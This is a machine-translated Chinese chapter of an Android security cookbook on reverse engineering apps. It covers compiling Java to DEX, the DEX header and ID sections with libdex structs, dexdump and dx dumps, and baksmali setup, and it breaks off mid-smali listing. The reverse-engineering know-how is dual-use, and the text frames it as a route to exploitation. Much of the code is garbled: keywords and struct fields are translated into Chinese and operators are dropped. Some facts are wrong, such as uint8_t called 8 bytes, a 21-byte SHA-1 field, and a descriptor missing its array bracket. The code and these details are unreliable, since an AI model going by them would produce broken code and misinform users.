原文:zh.annas-archive.org/md5/BE954DA99BB76B6D22AFE08F5BDE9A0C
译者:飞龙
许可证:CC BY-NC-SA 4.0
第六章:逆向工程应用程序
本章描述:
从Java 编译为DEX
反编译DEX文件
解释Dalvik 字节码
从DEX 反编译为Java
反编译应用程序的本机库
使用GDB 服务器调试Android 进程
引言
在上一章中,我们讨论了如何在不确切知道应用程序是如何开发的情况下利用和发现应用程序中的缺陷。对于导致这个特定问题的常见源代码有一些详细的解释,但是您不需要阅读源代码就知道SQL 注入是可能的。在大多数情况下,成功利用的第一步是从您不知道应用程序行为的实际细节的上下文中分析应用程序的行为。正如本章所述,逆向工程旨在揭示应用程序内部工作原理的每个细节,以便对其进行利用。
当逆向工程应用于计算机软件时,它是理解某些东西如何工作并开发滥用或误用该信息的方法的过程。例如,读取内核驱动程序的源代码可以发现可能损坏内存的缺陷,例如不正确的缓冲区边界检查。了解这一点可能会让您在开发漏洞时考虑到此漏洞存在的情况。逆向工程是安全专业人员最基本的技能,也是所有真正漏洞利用的核心。当在导致成功利用的事件链中的某个位置开发了利用或漏洞时,就会发生逆向工程。
Android 应用程序与任何其他类型的计算机软件没有什么不同,因此可以对其进行逆向工程。要对应用程序进行逆向工程,您需要了解它是如何构建的、每个部分的作用以及原因。缺乏这些信息可能会导致模糊测试和暴力破解的无尽不眠之夜,几乎总是以挫败告终。本章介绍了几种可用于提取有关应用程序内部工作信息的技术,并介绍了恶意软件开发人员和安全审核员用于利用和逆向工程应用程序的一些新技术。
在开始使用这些技术之前,您应该问自己以下问题:为什么要对Android 应用程序进行逆向工程?
有几种方法可以回答这个问题:
阅读源代码:许多漏洞对攻击者来说仍然是隐藏的,因为它们在应用程序的“黑盒”评估过程中没有暴露出来。这并不意味着该应用程序不会受到攻击。 “没有证据并不意味着它不存在。阅读应用程序的源代码是通过纯黑盒分析发现更多漏洞的最有效且通常更好的方法。源代码仍然是理解应用程序的唯一有形方式。换句话说,在被源代码证明之前,文档就是谎言。
信息泄露:应用程序中的一些漏洞并不直接归因于代码行为,而是归因于应用程序存储的数据,例如静态私钥和密码、电子邮件地址、登录令牌、URI 和其他敏感内容。正在发送的信息类型。破解应用程序可以让您访问其所有秘密。
分析防御机制:应用程序中的常见漏洞往往以最可笑的方式进行保护。虽然常见的攻击媒介得到了缓解,但应用程序抵御特定攻击的能力完全取决于其源代码和配置。如果没有源代码和内部配置,弄清楚如何保护自己通常非常困难,有时甚至是不可能的。阅读同一类别中的许多应用程序的源代码可以深入了解保护应用程序(例如登录应用程序)的最佳和最差方法。通过阅读其中许多应用程序的源代码,您可以了解开发人员如何针对身份验证暴力攻击、凭据嗅探攻击和其他特定于登录应用程序的防御措施创建防御措施。
分析攻击技术:您可能有兴趣找出最新的Android 恶意软件正在利用哪些应用程序和系统级漏洞。真正理解这一点并处于Android 安全研究前沿的唯一方法是对Android 应用程序进行逆向工程。
考虑到这些目标,让我们开始制定食谱吧。
从 Java 编译到 DEX
以下食谱详细解释了DEX 文件格式,但在深入了解DEX 文件之前,了解将Java 程序解释/编译为DEX 程序的过程会很有帮助。演示将Java 编译为DEX 的主要原因之一是因为本示例中使用的文件将在描述DEX 文件格式的下一个配方中使用。
准备工作
在开始之前,您需要准备一些东西。
Java开发工具包:将Java代码编译成类文件所需的
Android SDK:需要此包中的特定工具才能将Java 类文件转换为DEX 文件
文本编辑器:您将需要一个文本编辑器来创建示例Java 程序并将其转换为DEX 程序。
一旦所有这些准备就绪,您就可以开始准备示例DEX 文件。
如何操作…
要将Java程序编译为DEX程序,需要执行以下操作:
打开文本编辑器并使用以下代码创建文件。
公开课示例{
公共静态无效主(字符串[]args){
System.out.printf(\’你好世界!\\n\’);
}
}
将之前的文件保存为Example.java 并通过在终端或命令提示符中键入以下内容来编译代码:
javac 源1.6 目标1.6示例.java
准备好CLASS 文件后,您可以提取位于以下路径的名为dx 的工具:
[SDK路径]/sdk/platform-tools/dx
如果您有4.4 版本的SDK,可以在此处找到它:
/sdk/built-tools/android-[版本]/dx
要准备DEX 文件,您需要运行以下命令:
[SDK路径]/sdk/platform-tools/dx -dex -output=Example.dex Example.class
完成此操作后,将在当前目录中创建一个名为Example.dex 的文件。这是Example.class 的DEX 版本。
工作原理…
第一步是像Java 开发人员每天所做的那样,并将对象命名为“Example”。
第二步是将Example.java编译成类文件。这里发生的事情是,Java 编译器获取我们编写的良好语义代码,并将其解析为一组基于堆栈的Java 虚拟机指令。
第三步采用CLASS 文件、其Java 元数据和基于堆栈的指令,并准备一组Dalvik 虚拟机可以理解的资源、数据结构和基于寄存器的指令。所使用的dx命令的详细说明如下:
-dex:该命令告诉dx创建DEX文件。
-output=Example.dex:该指令告诉dx 将输出放入名为Example.dex 的文件中。
Example.class:这是输入文件和您在第二步中编译的类文件。
反编译 DEX 文件
DEX文件,或者说Dalvik可执行文件,相当于Android平台上Java的CLASS文件。它们包含定义Android 应用程序行为的Java 代码的编译形式。如果您即将成为Android 安全专家,您自然会有兴趣了解这些文件的工作原理以及它们的具体用途。反编译DEX文件是许多应用程序安全评估的重要组成部分。反编译DEX 文件可以提供有关Android 应用程序行为的大量信息,并且通常会揭示从源代码角度无法获得的有关应用程序开发的信息。了解DEX 文件格式并了解如何解释它可以导致新漏洞的发现以及针对Android 平台和Dalvik 虚拟机的漏洞利用的开发和改进。恶意软件可能会开始利用DEX 文件的解释方式来隐藏其操作的细节。只有少数真正了解DEX 文件工作原理的知识渊博的人才能掌握新的Android 恶意软件混淆技术并开发阻止它们所需的技能。本指南详细介绍了DEX 文件格式,并解释了如何使用和解释DEX 文件中的每个字段。接下来,我们将向您展示如何将DEX 文件反编译为更易于阅读和逆向工程的Java 源代码。
理解 DEX 文件格式
本指南致力于分解和解释DEX 文件的每个重要部分。基于用于解释DEX 文件的Dalvik 源代码进行逐字段直接分析。
接下来的几段提供了有关DEX 文件的不同部分出现的位置的信息,包括在哪里找到可打印字符串的引用以及在哪里找到每个编译类的实际DEX 代码。 DEX 文件格式非常简单且易于理解。 DEX文件的结构如下:
结构DexFile {
/* 直接映射\’opt\’头*/
const DexOptHeader* pOptHeader;
/* 指向基础DEX 中直接映射结构和数组的指针*/
const DexHeader* pHeader;
const DexStringId* pStringIds;
const DexTypeId* pTypeIds;
const DexFieldId* pFieldIds;
const DexMethodId* pMethodIds;
const DexProtoId* pProtoIds;
const DexClassDef* pClassDefs;
const DexLink* pLinkData;
/*
*这些是从“辅助”部分映射的,可能是也可能不是。
* 包含在文件中。
*/
const DexClassLookup* pClassLookup;
const void* pRegisterMapPool; //RegisterMapClassPool;
/* 指向DEX文件数据的开头*/
const u1* 基地址;
/* 跟踪辅助结构的内存开销*/
int 开销;
/* 与DEX 相关的其他特定于应用程序的数据结构*/
//无效* auxData;
};
注意
上述代码可以在github.com/android/platform_dalvik/blob/master/libdex/DexFile.h找到。
DEX 文件头
DEX 文件的第一部分称为DEX 文件头。下面是Dalvik虚拟机根据libdex定义的DEX文件头。
结构DexHeader {
u1 magic[8]; /* 包含版本号*/
u4 校验和; /* adler32 校验和*/
u1 签名[kSHA1DigestLen]; /* SHA-1 哈希*/
u4 文件大小; /* 文件总长度*/
u4 headerSize; /* 下一节开始的偏移量*/
u4 字节序标记;
u4链接大小;
u4 链路断开;
u4 地图关闭;
u4 字符串ID 大小;
u4 stringIdsOff;
u4 类型IdsSize;
u4 类型IdsOff;
u4 protoIdsSize;
u4 protoIdsOff;
u4 字段ID大小;
u4 字段ID 关闭;
u4方法ID大小;
u4方法IdsOff;
u4类定义大小;
u4 类定义关闭;
u4数据大小;
u4 数据关闭;
};
数据类型u1 和u4 只是无符号整数类型的别名。下面是Dalvik 虚拟机本身的Common.h 头文件中的类型定义。
typedef uint8_t u1; /*8字节无符号整数*/
typedef uint16_t u2; /*16字节无符号整数*/
typedef uint32_t u4; /*32字节无符号整数*/
typedef uint64_t u8; /*64字节无符号整数*/
typedef int8_t s1; /*8字节有符号整数*/
typedef int16_t s2; /*16字节有符号整数*/
typedef int32_t s4; /*32字节有符号整数*/
typedef int64_t s8; /*64字节有符号整数*/
注意
上面的代码位于github.com/android/platform_dalvik/blob/master/vm/Common.h。
这样,准备工作就可以顺利完成了。现在您已经基本了解了DEX 文件的外观以及每个部分的位置。接下来的几段将详细解释每个部分的作用以及Dalvik虚拟机如何使用它们。
首先DEX文件中第一个字段定义如下:
u1 magic[8]; /* 包含版本号*/
magic[8] 包含一个“标记”(也称为幻数),该“标记”包含DEX 文件中一组唯一的字符。 DEX 文件的幻数是dex\\n035,即十六进制表示的64 65 78 0a 30 33 35 00。
下面是class.dex 的屏幕截图,显示了十六进制的幻数。
以下字段定义如下:
u4 校验和; /* adler32 校验和*/
下面的屏幕截图显示了DEX 文件中的Adler32 校验和。
这个4 字节字段是整个标头的校验和。校验和是对构成标头的位进行一系列异或(XOR) 和加法运算的结果。检查DexHeader 文件的内容以确保它们没有被损坏或意外修改。确保此标头未损坏非常重要,因为它决定了DEX 文件的其余部分如何解释并充当其余解释的路线图。因此,Dalvik 使用DexHeader 文件来查找DEX 文件的其他组件。
下一个字段是21 字节安全哈希算法(SHA) 签名,定义为:
u1 签名[kSHA1DigestLen]; /* SHA-1 哈希长度=20*/
下面的屏幕截图显示了SHA 摘要如何显示在DEX 文件中。
如果您还没有猜到,kSHA1DigestLen 被定义为20。这是因为SHA1 的块长度被标准化为20。根据Dalvik代码中的一小段注释,这个摘要用于唯一标识DEX文件,并根据DEX文件的签名部分计算得出。 DEX 文件中计算SHA 摘要的部分指定所有地址偏移量和其他大小参数以指定它们引用的内容。
SHA摘要字段之后是fileSize字段,定义如下:
u4 fileSize;/* 文件总长度*/
下面的屏幕截图显示了DEX 文件的fileSize 字段的样子。
fileSize 字段是一个4 字节字段,保存整个DEX 文件的长度。该字段用于计算偏移量以轻松定位特定零件。它还有助于唯一地标识DEX 文件,因为它构成输入安全哈希操作的DEX 文件的一部分。
u4 headerSize;/* 下一节开始的偏移量*/
下面的屏幕截图显示了DEX 文件的headerSize 字段的样子。
headerSize 保存整个DexHeader 结构的大小(以字节为单位)。正如注释所示,它用于计算文件中下一部分的开始位置。
DEX 文件中的下一个字段是字节序标记,定义为:
u4 字节序标记;
以下屏幕截图显示了示例classes.dex 文件中的endianTag 字段。
endianTag 字段在所有DEX 文件中都保存相同的静态值。该字段中的值12345678 用于确保使用正确的“字节顺序”或位顺序解释文件。根据架构的不同,最高有效位可以放置在左侧或右侧;这称为架构的字节顺序。该字段允许Dalvik VM 读取值并查看该字段中数字出现的顺序,从而帮助您确定正在使用哪种架构。
接下来我们有linkSize 和linkOff 字段。当多个类文件编译成一个DEX 文件时,会使用这些文件。
u4链接大小;
u4 链路断开;
下一部分是映射部分偏移量,定义为:
u4 地图关闭;
下一个字段stringIdsSize 定义如下:
u4 字符串ID 大小;
stringIdsSize 字段保存StringIds 部分的大小,并以与其他大小字段相同的方式使用来计算StringIds 部分相对于DEX 文件开头的起始位置。
下一个字段stringIdsOff 定义如下:
u4 stringIdsOff;
该字段保存实际stringIds 部分的字节偏移量。这使得Dalvik编译器和虚拟机可以跳转到该部分,而无需执行严格的计算或重复读取文件来查找stringIds部分。 StringIdsOff 字段后面是类型、原型、方法、类和数据ID 部分的相同偏移量和大小字段。 —— 这些属性与stringIds 和stringIdsOff 字段具有完全相同的大小和偏移字段。这些字段的用途与stringIdsOff 和stringIdsSize 字段相同,只不过它们旨在提供一种高效且简单的机制来访问相关部分。如前所述,这意味着您最终将多次读取文件或对相对起始地址进行简单的加法和减法。 size和offset字段定义如下:
u4 类型IdsSize;
u4 类型IdsOff;
u4 protoIdsSize;
u4 protoIdsOff;
u4 字段ID大小;
u4 字段ID 关闭;
u4方法ID大小;
u4方法IdsOff;
u4类定义大小;
u4 类定义关闭;
u4数据大小;
u4 数据关闭;
这些大小和偏移字段都保存被解释的值或必须构成DEX 文件内部位置计算的一部分。这是它们都具有相同类型定义(无符号4 字节整数字段)的主要原因。
StringIds 部分
StringIds 部分完全由一系列地址—— 相对于Dalvik 命名约定标识号—— 相对于DEX 文件的开头来定位在Data 部分中定义的实际静态字符串的开头。根据Dalvik VM的libdex,StringIds部分中的字段定义如下:
结构DexStringId {
u4 stringDataOff; /* string_data_item 的文件偏移量*/
};
所有这些定义都表明每个字符串ID 只是一个无符号的4 字节字段,这并不奇怪,因为这些都是与DexHeader 部分中的偏移值类似的偏移值。下面是示例classes.dex 文件的StringIds 部分的屏幕截图。
在上一张截图中,突出显示的值是上面提到的地址,或者是StringIDs 段的值。如果您采用这些值之一,以正确的字节顺序读取它,并跳转到DEX 文件中该值偏移处的段,您最终将得到一个类似于以下屏幕截图的段。
正如您所看到的,由于文件格式的字节顺序,读取00 00 01 8a 的示例值实际上引用了DEX 文件中的字符串。以下屏幕截图显示了偏移量0x018a 处的DEX 文件的内容。
可以看到,位置0x018a实际上包含了十六进制值3c 69 6e 69 74 3e 00,它对应于init。
这基本上就是编译器、反编译器和Dalvik VM 在搜索字符串值时所做的事情。下面是libdex 的代码摘录,它就是这样做的。
DEX_INLINE const char* dexGetStringData(const DexFile* pDexFile,
const DexStringId* pStringId) {
const u1* ptr=pDexFile-baseAddr + pStringId-stringDataOff;
//跳过uleb128 的长度。
while (*(ptr++)0x7f) /* 空*/;
返回值(const char*) ptr;
}
注意
显示如何解析参数以及如何使用文件数据。
void dexFileSetupBasicPointers(DexFile* pDexFile, const u1* data){
DexHeader *pHeader=(DexHeader*) 数据;
pDexFile-baseAddr=数据;
pDexFile-pHeader=pHeader;
pDexFile-pStringIds=(const DexStringId*) (data + pHeader-stringIdsOff);
.为了简洁起见,省略了一些代码
}
注意
上面的代码位于github.com/android/platform_dalvik/blob/master/libdex/DexFile.cpp(第269-274行)。
通过名为data 的指针解引用的字符数组是DEX 文件的实际内容。前面的代码片段有效地演示了如何使用DexHeader 字段来查找DEX 文件中的不同位置,并突出显示了代码的特定部分来演示这一点。
TypeIds段
接下来是TypeIds段。这个段包含了关于如何找到每种类型的字符串标签的信息。在我们了解这是如何工作的之前,让我们先看看TypeIds是如何定义的:
struct DexTypeId {
u4 descriptorIdx; /* index into stringIds list for type descriptor */
};
注意
前面的代码可以在github.com/android/platform_dalvik/blob/master/libdex/DexFile.h(第 270-272 行)找到。
如注释所述,这个值持有一个 ID,或者更确切地说,是StringIds段中某物的索引,这是被描述类型的字符串标签。以下是一个从TypeIds段中定义的第一个值——示例值的例子:
像之前一样,这个值被读取为03。像之前一样,我们需要考虑文件的字节序,这是StringIds段中一个值的索引,具体来说,是StringIds段中第四个定义的字符串 ID。如下所示:
第四个定义的值是0x01af,它进而对该值在数据段中的偏移进行解引用:
在上一个截图中,我们可以看到值LExample,这可能会让人有点困惑,因为我们明确将我们的类定义为Example。L是什么意思?这个字符串实际上是按照 Dalvik 类型描述语言对类型的描述,这与 Java 的方法、类型和类签名非常相似。实际上,它的工作方式完全一样。关于 Dalvik 的类型、方法和其他描述或签名的完整分解可以在source.android.com/devices/tech/dalvik/dex-format.html找到。在我们的例子中,类名前的L值表示Example是一个类或对象的描述名称。当 Dalvik 编译器和虚拟机查找和构建类型时,它们遵循相同的基本过程。现在我们理解了这一部分是如何工作的,我们可以继续下一部分,即ProtoIds部分。
ProtoIds 部分
ProtoIds部分保存了一组原型 ID,用于描述方法;它们包含有关每个方法的返回类型和参数的信息。以下是你在libdex文件中看到的命令:
struct DexProtoId {
u4 shortyIdx; /* index into stringIds for shorty descriptor */
u4 returnTypeIdx; /* index into typeIds list for return type */
u4 parametersOff; /* file offset to type_list for parameter types */
};
结构非常容易理解。名为shortyIdx的无符号 4 字节字段保存了一个字符串 ID 的索引,该字符串 ID 在StringIds部分中定义,用于给出原型的简短描述;这个描述几乎与 Dalvik 中的类型描述一样工作。如果你还没猜到,returnTypeIdx保存了一个索引,该索引解引用了TypeIds部分中的一个值。这是返回类型的描述。最后,parametersOff保存了方法参数列表的地址偏移量。以下是从Example.dex中的ProtoIds部分的示例。这是我们示例 DEX 文件中ProtoIds部分的样子:
FieldIds 部分
FieldIds部分与其他部分类似,由一组引用StringIds和TypeIds的字段组成,但专门用于描述类中的字段。以下是来自libdex的 DEX 文件FieldIds的官方定义:
struct DexFieldId {
u2 classIdx; /* index into typeIds list for defining class */
u2 typeIdx; /* index into typeIds for field type */
u4 nameIdx; /* index into stringIds for field name */
};
注意
上述代码可以在github.com/android/platform_dalvik/blob/master/libdex/DexFile.h#L277找到。
我们在这里可以看到三个字段构成了类型的描述,分别是它所属的类(由classIdx字段中的类 ID 标识)、字段的类型(如string、int、bool等,详细在TypeId中,并通过typeIdx变量中保存的值进行解引用),以及类型的名称,即我们之前讨论过的规范中的定义。这个值,与所有字符串值一样,存储在数据部分,并通过StringIds部分中存储在nameIdx中的值进行解引用。以下是我们FieldIds部分的截图:
让我们继续下一部分,即MethodIds部分。
方法 ID 部分
每个方法 ID 的字段定义如下:
struct DexMethodId {
u2 classIdx; /* index into typeIds list for defining class */
u2 protoIdx; /* index into protoIds for method prototype */
u4 nameIdx; /* index into stringIds for method name */
};
注意
上述代码可以在github.com/android/platform_dalvik/blob/master/libdex/DexFile.h#L286找到。
方法所属的类通过classIdx字段中存储的值来解除引用。这完全与TypeIds部分的方式相同。此外,每个方法都有一个原型引用与之关联。这保存在protoIdx变量中。最后,nameIdx变量存储了对构成方法定义的字符的引用。以下是我们Example.dex文件中方法定义的一个示例:
(Ljava/lang/String;)V
理解上述定义的最佳方式是从右向左阅读。分解这个定义,它读作如下:
V: 这表示 void 类型,即方法的返回类型。
(): 这表示接下来将指定方法参数的类型规范。
java/lang/String;: 这是String类的标识符。这里,第一个也是唯一的参数是一个字符串。
L: 这表明紧跟此字符的类型是一个类。
[: 这表明紧跟此字符的类型是指定类型的数组。
因此,将这些信息综合起来,该方法返回 void,并接受来自String类的对象数组。
这是我们的示例中MethodIds部分的屏幕截图:
![方法 ID 部分
类定义部分
ClassDefs部分定义如下:
struct DexClassDef {
u4 classIdx; /* index into typeIds for this class */
u4 accessFlags;
u4 superclassIdx; /* index into typeIds for superclass */
u4 interfacesOff; /* file offset to DexTypeList */
u4 sourceFileIdx; /* index into stringIds for source file name */
u4 annotationsOff; /* file offset to annotations_directory_item */
u4 classDataOff; /* file offset to class_data_item */
u4 staticValuesOff; /* file offset to DexEncodedArray */
};
这些字段相当容易理解,从classIdx字段开始,正如注释所暗示的,它在TypeIds部分中保存一个索引,表示文件类型。AccessFlags字段保存一个数字,表示其他对象如何访问此类,并描述了其某些用途。以下是标志定义的方式:
enum {
ACC_PUBLIC = 0x00000001, // class, field, method, ic
ACC_PRIVATE = 0x00000002, // field, method, ic
ACC_PROTECTED = 0x00000004, // field, method, ic
ACC_STATIC = 0x00000008, // field, method, ic
ACC_FINAL = 0x00000010, // class, field, method, ic
ACC_SYNCHRONIZED = 0x00000020, // method (only allowed on natives)
ACC_SUPER = 0x00000020, // class (not used in Dalvik)
ACC_VOLATILE = 0x00000040, // field
ACC_BRIDGE = 0x00000040, // method (1.5)
ACC_TRANSIENT = 0x00000080, // field
ACC_VARARGS = 0x00000080, // method (1.5)
ACC_NATIVE = 0x00000100, // method
ACC_INTERFACE = 0x00000200, // class, ic
ACC_ABSTRACT = 0x00000400, // class, method, ic
ACC_STRICT = 0x00000800, // method
ACC_SYNTHETIC = 0x00001000, // field, method, ic
ACC_ANNOTATION = 0x00002000, // class, ic (1.5)
ACC_ENUM = 0x00004000, // class, field, ic (1.5)
ACC_CONSTRUCTOR = 0x00010000, // method (Dalvik only)
ACC_DECLARED_SYNCHRONIZED =
0x00020000, // method (Dalvik only)
ACC_CLASS_MASK =
(ACC_PUBLIC | ACC_FINAL | ACC_INTERFACE | ACC_ABSTRACT
| ACC_SYNTHETIC | ACC_ANNOTATION | ACC_ENUM),
ACC_INNER_CLASS_MASK =
(ACC_CLASS_MASK | ACC_PRIVATE | ACC_PROTECTED | ACC_STATIC),
ACC_FIELD_MASK =
(ACC_PUBLIC | ACC_PRIVATE | ACC_PROTECTED | ACC_STATIC | ACC_FINAL
| ACC_VOLATILE | ACC_TRANSIENT | ACC_SYNTHETIC | ACC_ENUM),
ACC_METHOD_MASK =
(ACC_PUBLIC | ACC_PRIVATE | ACC_PROTECTED | ACC_STATIC | ACC_FINAL
| ACC_SYNCHRONIZED | ACC_BRIDGE | ACC_VARARGS | ACC_NATIVE
| ACC_ABSTRACT | ACC_STRICT | ACC_SYNTHETIC | ACC_CONSTRUCTOR
| ACC_DECLARED_SYNCHRONIZED),
};
superClassIDx字段还包含一个指向TypeIds部分中类型的索引,用于描述超类的类型。SourceFileIDx字段指向StringIds部分,并允许 Dalvik 查找此类实际源代码的位置。对于classDef结构来说,另一个重要的字段是classdataOff,它指向 Dalvik 文件内部的一个偏移量,描述了类的更多重要属性,即代码的位置以及代码量。classDataOff字段指向包含以下结构的偏移量:
/* expanded form of class_data_item. Note: If a particular item is
* absent (e.g., no static fields), then the corresponding pointer
* is set to NULL. */
struct DexClassData {
DexClassDataHeader header;
DexField* staticFields;
DexField* instanceFields;
DexMethod* directMethods;
DexMethod* virtualMethods;
};
DexClassDataHeader文件包含有关类的元数据,即静态字段、实例字段、直接方法和虚拟方法的大小。Dalvik 使用这些信息来计算每个方法可以访问的内存大小的重要参数,并且这也是检查字节码所需信息的一部分。这里一个有趣的字段组是DexMethod,定义如下:
struct DexMethod {
u4 methodIdx; /* index to a method_id_item */
u4 accessFlags;
u4 codeOff; /* file offset to a code_item */
};
这个组包含了指向组成类的实际代码的引用。代码偏移量保存在codeOff字段中;methodId和accessFlags字段也是结构的一部分。
既然我们已经讨论了在普通 DEX 文件中大多数事物是如何结合在一起的,我们可以继续使用一些自动化工具来进行反编译。
准备工作
在开始反编译之前,你需要确保已经安装了几种工具,即安卓 SDK。
如何操作…
现在你已经理解了 DEX 文件的格式和结构,你可以按照以下步骤使用dexdump工具进行反编译。
安卓 SDK 包含一个名为dexdump的工具,它位于 SDK 的sdk/build-tools/android-[version]/dexdump文件夹下。要反编译 DEX 文件,只需将其作为参数传递给dexdump。以下是操作方法:
[SDK-path]/build-tools/android-[version]/dexdump classes.dex
在这里,[SDK-path]指的是你的 SDK 路径,而classes.dex是你想要解析的 DEX 文件。对于我们之前的示例,你可以执行以下命令来编译我们在之前章节中的 Java 代码文件:
[SDK-path]/build-tools/android-[version]/dexdump Example.dex
我们示例的输出如下所示:
还有更多内容…
安卓 SDK 还有一个名为dx的工具,能够以更接近 DEX 文件格式的方式分解 DEX 文件。你很快就会明白为什么:
不幸的是,dx只针对CLASS文件进行操作,通过将它们编译成 DEX 文件然后执行指定操作。因此,如果你有一个想要操作的CLASS文件,你可以执行以下命令来查看相应 DEX 文件的内容和语义结构:
dx –dex –verbose-dump –dump-to=[output-file].txt [input-file].class
dx可以在 Android SDK 包的sdk/build-tools/android-[version]/路径下找到:
对于我们的示例,即Example.class,输出将如下所示:
000000: 6465 780a 3033|magic: \”dex\\n035\\0\”
000006: 3500 |
000008: 3567 e33f |checksum
00000c: b7ed dd99 5d35|signature
000012: 754f 9c54 0302|
000018: 62ea 0045 3d3d|
00001e: 4e48 |
000020: 1003 0000 |file_size: 00000310
000024: 7000 0000 |header_size: 00000070
000028: 7856 3412 |endian_tag: 12345678
00002c: 0000 0000 |link_size: 0
000030: 0000 0000 |link_off: 0
000034: 7002 0000 |map_off: 00000270
000038: 1000 0000 |string_ids_size: 00000010
00003c: 7000 0000 |string_ids_off: 00000070
000040: 0800 0000 |type_ids_size: 00000008
000044: b000 0000 |type_ids_off: 000000b0
000048: 0300 0000 |proto_ids_size: 00000003
00004c: d000 0000 |proto_ids_off: 000000d0
000050: 0100 0000 |field_ids_size: 00000001
000054: f400 0000 |field_ids_off: 000000f4
000058: 0400 0000 |method_ids_size: 00000004
00005c: fc00 0000 |method_ids_off: 000000fc
000060: 0100 0000 |class_defs_size: 00000001
000064: 1c01 0000 |class_defs_off: 0000011c
000068: d401 0000 |data_size: 000001d4
00006c: 3c01 0000 |data_off: 0000013c
|
|
输出左侧的列以十六进制详细列出了文件偏移量及其内容。右侧的列则包含了语义值以及每个偏移量和值的解释。
请注意,为了简洁起见,部分输出已被省略;只包含了包含DexHeader文件在内的部分。
另请参阅
DEX 文件格式 – RetroDev网页:www.retrodev.com/android/dexformat.html
访问 Smali Decompiler – Google Code 网页
Godfrey Nolan 编著的《Decompiling Android》,Apress 出版
阅读 Practicing Safe Dex 文档
访问 Android Dalvik 内核源代码仓库网页
阅读 Dalvik 可执行格式 – Android 开放源代码项目 文档
解释 Dalvik 字节码
你可能已经了解到,Dalvik VM 在结构和操作上与 Java VM 略有不同;其文件和指令格式也有所区别。Java VM 是基于栈的,这意味着字节码(之所以这样命名,是因为每条指令都是一个字节长)通过在栈上推入和弹出指令来工作。Dalvik 字节码被设计成类似于 x86 指令集;它还使用了一种类似 C 语言风格的调用约定。你很快就会看到每种调用方法是如何在调用另一个方法之前负责设置参数的。有关 Dalvik 代码格式的设计和一般注意事项的更多详细信息,请参阅另请参阅部分中名为 General Design—Bytecode for the Dalvik VM, Android Open Source project 的条目。
解释字节码意味着实际上能够理解指令格式是如何工作的。这一节旨在为你提供理解 Dalvik 字节码所需的参考和工具。让我们深入研究字节码格式,了解其工作原理以及所有这些都意味着什么。
理解 Dalvik 字节码
在深入字节码的具体内容之前,了解一些背景知识是很重要的。我们需要了解字节码是如何执行的。这将帮助你理解 Dalvik 字节码的属性,并确定在给定执行上下文中,了解一个字节码是什么与它意味着什么之间的区别,这是一项非常有价值的技能。
Dalvik 虚拟机逐个执行方法,必要时在方法间进行分支跳转,例如当一个方法调用另一个方法时。每个方法可以被视为 Dalvik VM 执行的独立实例。每个方法都有一个私有的内存空间,称为栈帧,它包含足够的空间以容纳执行该方法所需的数据。每个栈帧还包含对 DEX 文件的引用;自然地,方法需要这个引用以便引用 TypeIds 和对象定义。它还持有一个程序计数器实例的引用,这是一个控制执行流程的寄存器,可用于跳转到其他执行流程。例如,在执行 “if” 语句时,根据比较结果,方法可能需要在不同的代码部分之间跳转。栈帧还包含称为寄存器的区域,这些寄存器用于执行诸如加、乘、移动值等操作,有时这也意味着将参数传递给其他方法,如对象构造函数。
字节码由一系列操作符和操作数组成,每个操作符对其提供的操作数执行特定操作。一些操作符还概括了复杂的操作,如调用方法。这些操作符的简单和原子性是它们如此健壮、易于阅读和理解,并支持像 Java 这样复杂的高级语言的原因。
关于 Dalvik 需要注意的一个重要事项,与所有中间代码表示一样,是 Dalvik 字节码的操作数的顺序。对于相关操作,操作的目标总是出现在源操作数之前。例如,以下操作的顺序:
move vA,vB
这意味着寄存器 B 的内容将被放置在寄存器 A 中。这种顺序的流行术语是\”目标-然后-源\”;这意味着操作结果的 目标首先出现,然后是指定源的 操作数。
操作数可以是寄存器,每个方法(独立执行的实例)都有一组寄存器。操作数还可以是字面值(指定大小的有符号/无符号整数)或给定类型的实例。对于如字符串这样的非原始类型,字节码会引用在 TypeIds 部分定义的类型。
有多种指令格式决定了给定操作码可以使用多少寄存器和类型实例作为参数。你可以在source.android.com/devices/tech/dalvik/instruction-formats.html找到这些详细信息。阅读这些定义是非常值得的,因为 Dalvik 指令集中的每个操作码及其详细信息仅是操作码格式的一种实现。尝试理解格式 ID,因为它们在阅读指令格式时非常有用。
在了解了基础知识之后,相信你已经至少浏览了操作码和操作码格式,我们可以继续以使字节码具有语义性的方式来转储它。
准备工作
在开始之前,你需要一个名为 baksmali 的 Smali 反编译器。为了方便起见,我们将介绍如何设置你的路径变量,以便你可以从计算机的任何位置使用 baksmali 脚本和 JAR 文件,而无需每次都明确引用它。以下是设置方法:
在code.google.com/p/smali/downloads/list,或新仓库bitbucket.org/JesusFreke/smali/download获取 baksmali JAR 文件的副本。特别寻找baksmali[version].jar文件——其中[version]是最新可用的版本。
将其保存在一个方便命名的目录中,因为需要下载的两个文件在同一个目录中会让事情简单得多。
下载 baksmali 包装脚本;它允许你避免每次需要运行 baksmali JAR 时都显式调用java –jar命令。你可以在code.google.com/p/smali/downloads/list或新仓库bitbucket.org/JesusFreke/smali/downloads获取该脚本的副本。将其保存在与 baksmali JAR 文件相同的目录下。此步骤不适用于 Windows 用户,因为这是一个 bash 脚本文件。
将 baksmali jar 文件的名称更改为baksmali.jar,省略版本号,以便你在步骤 2 中下载的包装脚本能够找到它。你可以在 Linux 或 Unix 机器上使用以下命令来更改名称:
mv baksmali-[version-number].jar baksmali.jar
你也可以使用你的操作系统使用的任何窗口管理器;只要将名称更改为baksmali.jar,你就是正确操作的!
然后,你需要确保 baksmali 脚本可执行。如果你使用的是 Unix 或 Linux 操作系统,可以通过以下命令来设置:
chmod +x 700 baksmali
将当前文件夹添加到你的默认PATH变量中。
完成这些后,你可以反编译 DEX 文件了!查看下一节了解如何操作。
如何操作…
现在,你已经下载并设置好了 baksmali,想要将一些 DEX 文件反编译成语义丰富的 smali 语法;以下是操作方法。
从你的终端或命令提示符执行以下命令:
baksmali [Dex filename].dex
这个命令将输出 DEX 文件的内容,就像是一个被解压的 JAR 文件,但所有的源文件都是.smali文件,包含了一种名为 smali 的语义 Dalvik 字节码的轻微翻译或方言:
让我们看一下由 baksmali 生成的 smali 文件,并了解每条字节码指令的含义。代码如下:
.class public LExample;
.super Ljava/lang/Object;
.source \”Example.java\”
# direct methods
.method public constructor <init>()V
.registers 1
.prologue
.line 1
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
.method public static main([Ljava/lang/String;)V
.registers 4
.prologue
.line 3
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
const-string v1, \”Hello World!\\n\”
const/4 v2, 0x0
new-array v2, v2, [Ljava/lang/Object;
